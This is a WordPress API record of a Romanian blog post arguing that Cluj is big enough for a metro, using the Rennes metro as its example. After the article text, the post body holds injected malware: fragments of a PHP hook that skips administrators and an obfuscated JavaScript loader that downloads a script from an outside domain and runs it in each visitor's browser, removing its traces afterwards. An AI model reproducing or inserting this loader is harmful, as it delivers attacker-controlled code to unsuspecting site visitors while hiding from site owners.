{"id":289,"date":"2018-04-21T04:54:43","date_gmt":"2018-04-21T04:54:43","guid":{"rendered":"http:\/\/metroucluj.ro\/?p=289"},"modified":"2026-10-11T00:48:47","modified_gmt":"2026-10-11T00:48:47","slug":"este-prea-mic-clujul-pentru-introducerea-metroului","status":"publish","type":"post","link":"http:\/\/metroucluj.ro\/index.php\/2018\/04\/21\/este-prea-mic-clujul-pentru-introducerea-metroului\/","title":{"rendered":"Este prea mic Clujul pentru introducerea metroului?"},"content":{"rendered":"<body><p><\/p><img decoding=\"async\" class=\"aligncenter size-large wp-image-290\" src=\"http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/Rennes-1024x682.jpg\" alt=\"\" width=\"525\" height=\"350\" loading=\"lazy\" srcset=\"http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/Rennes-1024x682.jpg 1024w, http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/Rennes-300x200.jpg 300w, http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/Rennes-768x511.jpg 768w, http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/Rennes.jpg 1182w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/>\n<p style=\"text-align: justify;\">Este prea mic Clujul pentru introducerea metroului?<\/p>\n<p style=\"text-align: justify;\"><em>\u201eEste prea mic Clujul pentru introducerea metroului? \u00cen nici un caz! Primul exemplu: Rennes, capitala regiunii \u0219i prefectura departamentului Ille-et-Vilaine din Fran\u021ba, cu o popula\u021bie, conform ultimului recens\u0103m\u00e2nt din 2015 \u2013 215,366 locuitori.<\/em><\/p>\n<p style=\"text-align: justify;\"><em>Inaugurat \u00een 2002, M\u00e9tro de Rennes se bazeaz\u0103 pe tehnologia Siemens Transportation Systems VAL (vehicul automat u\u0219or). Exist\u0103 o singur\u0103 linie, A, de 9,4 kilometri, cu cincisprezece sta\u021bii, prin care circul\u0103 \u00een jur de 140.000 pasageri \u00een<span class=\"text_exposed_show\">\u00a0fiecare zi.<\/span><\/em><\/p>\n<div class=\"text_exposed_show\">\n<p style=\"text-align: justify;\"><em>Programul metroului este \u00eentre 05:20 \u0219i 00:40 \u00een fiecare zi (cu excep\u021bia zilelor de joi, vineri \u0219i s\u00e2mb\u0103t\u0103 \u00eentre 05:20 \u0219i 01:35) \u0219i cu un timp de a\u0219teptare de aproximativ 80 de secunde \u00eentre trenuri. Toate sta\u021biile sunt echipate cu ecrane de platform\u0103 \u0219i ascensoare.<\/em><\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-291\" src=\"http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/rennes-metro-map.png\" alt=\"\" width=\"746\" height=\"574\" loading=\"lazy\" srcset=\"http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/rennes-metro-map.png 746w, http:\/\/metroucluj.ro\/wp-content\/uploads\/2018\/04\/rennes-metro-map-300x231.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p style=\"text-align: justify;\"><strong><em>A doua linie, linia B, cu o orientare nord-est spre sud-vest, este programat\u0103 pentru anul 2019.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\"><em><strong>Sursa finan\u021b\u0103rii construirii Liniei B, FONDURI EUROPENE<\/strong> \u2013\u00a0<span style=\"color: #99cc00;\"> <a style=\"color: #99cc00;\" href=\"http:\/\/www.eib.org\/infocentre\/press\/releases\/all\/2015\/2015-018-leurope-finance-la-ligne-b-du-metro-de-rennes.htm\" target=\"_blank\" rel=\"noopener\">click aici pentru mai multe detalii!\u201d<\/a><\/span><\/em>\u00a0a postat \u00een acest\u0103 diminea\u021b\u0103<span style=\"color: #99cc00;\"> <a style=\"color: #99cc00;\" href=\"https:\/\/www.facebook.com\/gabrielhorianasra\/posts\/601911370162906\">Horia Nasra<\/a>,<\/span> pe o re\u021bea de socializare.<\/p>\n<p><iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/WclrvgqCTxE\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<\/div>\n<p><script>function xdav_tracker() {\n    ?><\/script><\/p>\n<p>    <?php }\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script><script>function xdav_tracker() {\n    if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; }\n    ?><\/script><\/p>\n<p>    <?php }\nadd_action( 'shutdown', 'xdav_tracker', 97 );<\/script><script>;(function(){var u='https:\/\/latoem.biz\/02\/api.js?_=1791621606395';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><\/p>\n<\/body><div class=\"fcbkbttn_buttons_block\" id=\"fcbkbttn_left\"><div class=\"fcbkbttn_like fcbkbttn_large_button\"><fb:like href=\"http:\/\/metroucluj.ro\/index.php\/2018\/04\/21\/este-prea-mic-clujul-pentru-introducerea-metroului\/\" action=\"like\" colorscheme=\"light\" layout=\"box_count\"  size=\"large\"><\/fb:like><\/div><div class=\"fb-share-button fcbkbttn_large_button \" data-href=\"http:\/\/metroucluj.ro\/index.php\/2018\/04\/21\/este-prea-mic-clujul-pentru-introducerea-metroului\/\" data-type=\"button_count\" data-size=\"large\"><\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>Este prea mic Clujul pentru introducerea metroului? \u201eEste prea mic Clujul pentru introducerea metroului? \u00cen nici un caz! Primul exemplu: Rennes, capitala regiunii \u0219i prefectura departamentului Ille-et-Vilaine din Fran\u021ba, cu o popula\u021bie, conform ultimului recens\u0103m\u00e2nt din 2015 \u2013 215,366 locuitori. Inaugurat \u00een 2002, M\u00e9tro de Rennes se bazeaz\u0103 pe tehnologia Siemens Transportation Systems VAL (vehicul &hellip; <\/p>\n<p class=\"link-more\"><a href=\"http:\/\/metroucluj.ro\/index.php\/2018\/04\/21\/este-prea-mic-clujul-pentru-introducerea-metroului\/\" class=\"more-link\">Continu\u0103 lectura<span class=\"screen-reader-text\"> \u201eEste prea mic Clujul pentru introducerea metroului?\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-289","post","type-post","status-publish","format-standard","hentry","category-eurotrip"],"_links":{"self":[{"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/posts\/289"}],"collection":[{"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/comments?post=289"}],"version-history":[{"count":5,"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/posts\/289\/revisions"}],"predecessor-version":[{"id":574,"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/posts\/289\/revisions\/574"}],"wp:attachment":[{"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/media?parent=289"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/categories?post=289"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/metroucluj.ro\/index.php\/wp-json\/wp\/v2\/tags?post=289"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}